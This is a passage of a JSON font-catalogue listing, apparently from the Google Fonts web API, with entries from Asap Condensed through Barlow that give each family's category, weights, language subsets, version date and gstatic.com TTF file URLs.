"600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/asapcondensed/v5/pxidypY1o9NHyXh3WvSbGSggdNeLYk1Mq3ap.ttf", "italic": "http://fonts.gstatic.com/s/asapcondensed/v5/pxifypY1o9NHyXh3WvSbGSggdOeJaElurmapvvM.ttf", "500": "http://fonts.gstatic.com/s/asapcondensed/v5/pxieypY1o9NHyXh3WvSbGSggdO9_S2lEgGqgp-pO.ttf", "500italic": "http://fonts.gstatic.com/s/asapcondensed/v5/pxiYypY1o9NHyXh3WvSbGSggdOeJUL1Him6CovpOkXA.ttf", "600": "http://fonts.gstatic.com/s/asapcondensed/v5/pxieypY1o9NHyXh3WvSbGSggdO9TTGlEgGqgp-pO.ttf", "600italic": "http://fonts.gstatic.com/s/asapcondensed/v5/pxiYypY1o9NHyXh3WvSbGSggdOeJUJFAim6CovpOkXA.ttf", "700": "http://fonts.gstatic.com/s/asapcondensed/v5/pxieypY1o9NHyXh3WvSbGSggdO83TWlEgGqgp-pO.ttf", "700italic": "http://fonts.gstatic.com/s/asapcondensed/v5/pxiYypY1o9NHyXh3WvSbGSggdOeJUPVBim6CovpOkXA.ttf" } }, { "kind": "webfonts#webfont", "family": "Asar", "category": "serif", "variants": [ "regular" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/asar/v7/sZlLdRyI6TBIXkYQDLlTW6E.ttf" } }, { "kind": "webfonts#webfont", "family": "Asset", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/asset/v10/SLXGc1na-mM4cWImRJqExst1.ttf" } }, { "kind": "webfonts#webfont", "family": "Assistant", "category": "sans-serif", "variants": [ "200", "300", "regular", "600", "700", "800" ], "subsets": [ "hebrew", "latin" ], "version": "v4", "lastModified": "2019-07-17", "files": { "200": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk7p0ScA5cZbCjItw.ttf", "300": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk7w0ecA5cZbCjItw.ttf", "regular": "http://fonts.gstatic.com/s/assistant/v4/2sDcZGJYnIjSi6H75xkDb2-4C7wFZQ.ttf", "600": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk7t0GcA5cZbCjItw.ttf", "700": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk700CcA5cZbCjItw.ttf", "800": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk7z0OcA5cZbCjItw.ttf" } }, { "kind": "webfonts#webfont", "family": "Astloch", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/astloch/v11/TuGRUVJ8QI5GSeUjq9wRzMtkH1Q.ttf", "700": "http://fonts.gstatic.com/s/astloch/v11/TuGUUVJ8QI5GSeUjk2A-6MNPA10xLMQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Asul", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/asul/v9/VuJ-dNjKxYr46fMFXK78JIg.ttf", "700": "http://fonts.gstatic.com/s/asul/v9/VuJxdNjKxYr40U8qeKbXOIFneRo.ttf" } }, { "kind": "webfonts#webfont", "family": "Athiti", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wAxDNyAv2-C99ycg.ttf", "300": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wAoDByAv2-C99ycg.ttf", "regular": "http://fonts.gstatic.com/s/athiti/v4/pe0vMISdLIZIv1w4DBhWCtaiAg.ttf", "500": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wA-DFyAv2-C99ycg.ttf", "600": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wA1DZyAv2-C99ycg.ttf", "700": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wAsDdyAv2-C99ycg.ttf" } }, { "kind": "webfonts#webfont", "family": "Atma", "category": "display", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "bengali", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/atma/v5/uK_z4rqWc-Eoo8JzKjc9PvedRkM.ttf", "regular": "http://fonts.gstatic.com/s/atma/v5/uK_84rqWc-Eom25bDj8WIv4.ttf", "500": "http://fonts.gstatic.com/s/atma/v5/uK_z4rqWc-Eoo5pyKjc9PvedRkM.ttf", "600": "http://fonts.gstatic.com/s/atma/v5/uK_z4rqWc-Eoo7Z1Kjc9PvedRkM.ttf", "700": "http://fonts.gstatic.com/s/atma/v5/uK_z4rqWc-Eoo9J0Kjc9PvedRkM.ttf" } }, { "kind": "webfonts#webfont", "family": "Atomic Age", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/atomicage/v12/f0Xz0eug6sdmRFkYZZGL58Ht9a8GYeA.ttf" } }, { "kind": "webfonts#webfont", "family": "Aubrey", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/aubrey/v12/q5uGsou7NPBw-p7vugNsCxVEgA.ttf" } }, { "kind": "webfonts#webfont", "family": "Audiowide", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/audiowide/v8/l7gdbjpo0cum0ckerWCtkQXPExpQBw.ttf" } }, { "kind": "webfonts#webfont", "family": "Autour One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/autourone/v9/UqyVK80cP25l3fJgbdfbk5lWVscxdKE.ttf" } }, { "kind": "webfonts#webfont", "family": "Average", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/average/v8/fC1hPYBHe23MxA7rIeJwVWytTyk.ttf" } }, { "kind": "webfonts#webfont", "family": "Average Sans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/averagesans/v8/1Ptpg8fLXP2dlAXR-HlJJNJPBdqazVoK4A.ttf" } }, { "kind": "webfonts#webfont", "family": "Averia Gruesa Libre", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/averiagruesalibre/v8/NGSov4nEGEktOaDRKsY-1dhh8eEtIx3ZUmmJw0SLRA8.ttf" } }, { "kind": "webfonts#webfont", "family": "Averia Libre", "category": "display", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/averialibre/v8/2V0FKIcMGZEnV6xygz7eNjEarovtb07t-pQgTw.ttf", "300italic": "http://fonts.gstatic.com/s/averialibre/v8/2V0HKIcMGZEnV6xygz7eNjESAJFhbUTp2JEwT4Sk.ttf", "regular": "http://fonts.gstatic.com/s/averialibre/v8/2V0aKIcMGZEnV6xygz7eNjEiAqPJZ2Xx8w.ttf", "italic": "http://fonts.gstatic.com/s/averialibre/v8/2V0EKIcMGZEnV6xygz7eNjESAKnNRWDh8405.ttf", "700": "http://fonts.gstatic.com/s/averialibre/v8/2V0FKIcMGZEnV6xygz7eNjEavoztb07t-pQgTw.ttf", "700italic": "http://fonts.gstatic.com/s/averialibre/v8/2V0HKIcMGZEnV6xygz7eNjESAJFxakTp2JEwT4Sk.ttf" } }, { "kind": "webfonts#webfont", "family": "Averia Sans Libre", "category": "display", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6SaxZG_G5OvCf_rt7FH3B6BHLMEd3lMKcQJZP1LmD9.ttf", "300italic": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6caxZG_G5OvCf_rt7FH3B6BHLMEdVLKisSL5fXK3D9qtg.ttf", "regular": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6XaxZG_G5OvCf_rt7FH3B6BHLMEeVJGIMYDo_8.ttf", "italic": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6RaxZG_G5OvCf_rt7FH3B6BHLMEdVLEoc6C5_8N3k.ttf", "700": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6SaxZG_G5OvCf_rt7FH3B6BHLMEd31N6cQJZP1LmD9.ttf", "700italic": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6caxZG_G5OvCf_rt7FH3B6BHLMEdVLKjsVL5fXK3D9qtg.ttf" } }, { "kind": "webfonts#webfont", "family": "Averia Serif Libre", "category": "display", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIVzD2ms4wxr6GvjeD0X88SHPyX2xYGCSmqwacqdrKvbQ.ttf", "300italic": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIbzD2ms4wxr6GvjeD0X88SHPyX2xYOpzMmw60uVLe_bXHq.ttf", "regular": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIWzD2ms4wxr6GvjeD0X88SHPyX2xY-pQGOyYw2fw.ttf", "italic": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIUzD2ms4wxr6GvjeD0X88SHPyX2xYOpwuK64kmf6u2.ttf", "700": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIVzD2ms4wxr6GvjeD0X88SHPyX2xYGGS6qwacqdrKvbQ.ttf", "700italic": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIbzD2ms4wxr6GvjeD0X88SHPyX2xYOpzM2xK0uVLe_bXHq.ttf" } }, { "kind": "webfonts#webfont", "family": "B612", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v4", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/b612/v4/3JnySDDxiSz32jm4GDigUXw.ttf", "italic": "http://fonts.gstatic.com/s/b612/v4/3Jn8SDDxiSz36juyHBqlQXwdVw.ttf", "700": "http://fonts.gstatic.com/s/b612/v4/3Jn9SDDxiSz34oWXPDCLTXUETuE.ttf", "700italic": "http://fonts.gstatic.com/s/b612/v4/3Jn_SDDxiSz36juKoDWBSVcBXuFb0Q.ttf" } }, { "kind": "webfonts#webfont", "family": "B612 Mono", "category": "monospace", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v4", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/b612mono/v4/kmK_Zq85QVWbN1eW6lJl1wTcquRTtg.ttf", "italic": "http://fonts.gstatic.com/s/b612mono/v4/kmK5Zq85QVWbN1eW6lJV1Q7YiOFDtqtf.ttf", "700": "http://fonts.gstatic.com/s/b612mono/v4/kmK6Zq85QVWbN1eW6lJdayv4os9Pv7JGSg.ttf", "700italic": "http://fonts.gstatic.com/s/b612mono/v4/kmKkZq85QVWbN1eW6lJV1TZkp8VLnbdWSg4x.ttf" } }, { "kind": "webfonts#webfont", "family": "Bad Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/badscript/v8/6NUT8F6PJgbFWQn47_x7lOwuzd1AZtw.ttf" } }, { "kind": "webfonts#webfont", "family": "Bahiana", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bahiana/v4/uU9PCBUV4YenPWJU7xPb3vyHmlI.ttf" } }, { "kind": "webfonts#webfont", "family": "Bahianita", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v2", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/bahianita/v2/yYLr0hTb3vuqqsBUgxWtxTvV2NJPcA.ttf" } }, { "kind": "webfonts#webfont", "family": "Bai Jamjuree", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa0kePuk5A1-yiSgA.ttf", "200italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_oGkpox2S2CgOva.ttf", "300": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa09eDuk5A1-yiSgA.ttf", "300italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_pikZox2S2CgOva.ttf", "regular": "http://fonts.gstatic.com/s/baijamjuree/v3/LDI1apSCOBt_aeQQ7ftydoaMWcjKm7sp8g.ttf", "italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIrapSCOBt_aeQQ7ftydoa8W8LOub458jGL.ttf", "500": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa0reHuk5A1-yiSgA.ttf", "500italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_o6kJox2S2CgOva.ttf", "600": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa0gebuk5A1-yiSgA.ttf", "600italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_oWl5ox2S2CgOva.ttf", "700": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa05efuk5A1-yiSgA.ttf", "700italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_pylpox2S2CgOva.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "vietnamese", "devanagari", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/baloo2/v1/wXKrE3kTposypRyd11_WAewrhXY.ttf", "500": "http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd76v_JeQAmX8yrdk.ttf", "600": "http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd74f4JeQAmX8yrdk.ttf", "700": "http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd7-P5JeQAmX8yrdk.ttf", "800": "http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd7__6JeQAmX8yrdk.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Bhai 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "vietnamese", "gujarati", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlDdRSL-z1VEWZ4YNA7Y5I3cdTmiH1gFQ.ttf", "500": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPhf3CgFZ8HNV3Nw.ttf", "600": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPqfrCgFZ8HNV3Nw.ttf", "700": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPzfvCgFZ8HNV3Nw.ttf", "800": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IP0fjCgFZ8HNV3Nw.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Bhaina 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "vietnamese", "oriya", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWczB6yyq4P9Adr3RtoX1q6yShz7mDUoupoI.ttf", "500": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiQPsREgkYYBX_3F.ttf", "600": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiQjthEgkYYBX_3F.ttf", "700": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiRHtxEgkYYBX_3F.ttf", "800": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiRbtBEgkYYBX_3F.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Chettan 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "vietnamese", "malayalam", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8udRbmXEva26PK-NtuX4ynWEzf4P17OpYDlg.ttf", "500": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznFNRfMr0fn5bhCA.ttf", "600": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznONNfMr0fn5bhCA.ttf", "700": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznXNJfMr0fn5bhCA.ttf", "800": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznQNFfMr0fn5bhCA.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Da 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "vietnamese", "bengali", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/balooda2/v1/2-ci9J9j0IaUMQZwAJyJcu7XoZFDf2Q.ttf", "500": "http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJShr-hZloY23zejE.ttf", "600": "http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSjb5hZloY23zejE.ttf", "700": "http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSlL4hZloY23zejE.ttf", "800": "http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSk77hZloY23zejE.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Paaji 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "gurmukhi", "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dMIFFzbz-QHZUdV9_UGWZuYFKQHwyVd3U.ttf", "500": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWKa5OwS-a3yGe9E.ttf", "600": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWIq-OwS-a3yGe9E.ttf", "700": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWO6_OwS-a3yGe9E.ttf", "800": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWPK8OwS-a3yGe9E.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Tamma 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "kannada", "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/balootamma2/v1/vEFX2_hCAgcR46PaajtrYlBbT0g21tqeR7c.ttf", "500": "http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd7wf8tK1W77HtMo.ttf", "600": "http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd5AY8tK1W77HtMo.ttf", "700": "http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd_QZ8tK1W77HtMo.ttf", "800": "http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd-ga8tK1W77HtMo.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Tammudu 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "vietnamese", "telugu", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/balootammudu2/v1/1Pt2g8TIS_SAmkLguUdFP8UaJcK-xXEW6aGXHw.ttf", "500": "http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGMVgy4YqLFrUnJA.ttf", "600": "http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGHV8y4YqLFrUnJA.ttf", "700": "http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGeV4y4YqLFrUnJA.ttf", "800": "http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGZV0y4YqLFrUnJA.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Thambi 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "vietnamese", "latin-ext", "tamil", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9cfjeOW0NHpmOQXranrbDyu4hHBJOxZQPp.ttf", "500": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7CzLbe5Th_gRA7L.ttf", "600": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7CfKre5Th_gRA7L.ttf", "700": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7D7K7e5Th_gRA7L.ttf", "800": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7DnKLe5Th_gRA7L.ttf" } }, { "kind": "webfonts#webfont", "family": "Balthazar", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/balthazar/v9/d6lKkaajS8Gm4CVQjFEvyRTo39l8hw.ttf" } }, { "kind": "webfonts#webfont", "family": "Bangers", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bangers/v12/FeVQS0BTqb0h60ACL5la2bxii28.ttf" } }, { "kind": "webfonts#webfont", "family": "Barlow", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/barlow/v4/7cHrv4kjgoGqM7E3b8s8yn4hnCci.ttf", "100italic": "http://fonts.gstatic.com/s/barlow/v4/7cHtv4kjgoGqM7E_CfNYwHoDmTcibrA.ttf", "200": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3w-oc4FAtlT47dw.ttf", "200italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfP04Voptzsrd6m9.ttf", "300": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3p-kc4FAtlT47dw.ttf", "300italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfOQ4loptzsrd6m9.ttf", "regular": "http://fonts.gstatic.com/s/barlow/v4/7cHpv4kjgoGqM7EPC8E46HsxnA.ttf", "italic": "http://fonts.gstatic.com/s/barlow/v4/7cHrv4kjgoGqM7E_Ccs8yn4hnCci.ttf", "500": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3_-gc4FAtlT47dw.ttf", "500italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfPI41optzsrd6m9.ttf", "600": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E30-8c4FAtlT47dw.ttf", "600italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfPk5Foptzsrd6m9.ttf", "700": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3t-4c4FAtlT47dw.ttf", "700italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfOA5Voptzsrd6m9.ttf", "800": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3q-0c4FAtlT47dw.ttf", "800italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfOc5loptzsrd6m9.ttf", "900": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3j-wc4FAtlT47dw.ttf", "900italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfO451optzsrd6m9.ttf" } }, { "kind": "webfonts#webfont", "family": "Barlow Condensed", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxxL3I-JCGChYJ8VI-L6OO_au7B43LT31vytKgbaw.ttf", "100italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxzL3I-JCGChYJ8VI-L6OO_au7B6xTru1H2lq0La6JN.ttf", "200": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B497y_3HcuKECcrs.ttf", "200italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrF3DWvIMHYrtUxg.ttf", "300": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B47rx_3HcuKECcrs.ttf", "300italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrc3PWvIMHYrtUxg.ttf", "regular": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTx3L3I-JCGChYJ8VI-L6OO_au7B2xbZ23n3pKg.ttf", "italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxxL3I-JCGChYJ8VI-L6OO_au7B6xTT31vytKgbaw.ttf", "500": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B4-Lw_3HcuKECcrs.ttf", "500italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrK3LWvIMHYrtUxg.ttf", "600": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B4873_3HcuKECcrs.ttf", "600italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrB3XWvIMHYrtUxg.ttf", "700": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B46r2_3HcuKECcrs.ttf", "700italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrY3TWvIMHYrtUxg.ttf", "800": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B47b1_3HcuKECcrs.ttf", "800italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrf3fWvIMHYrtUxg.ttf", "900": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B45L0_3HcuKECcrs.ttf", "900italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrW3bWvIMHYrtUxg.ttf" } }, { "kind": "webfonts#webfont", "family": "Barlow Semi 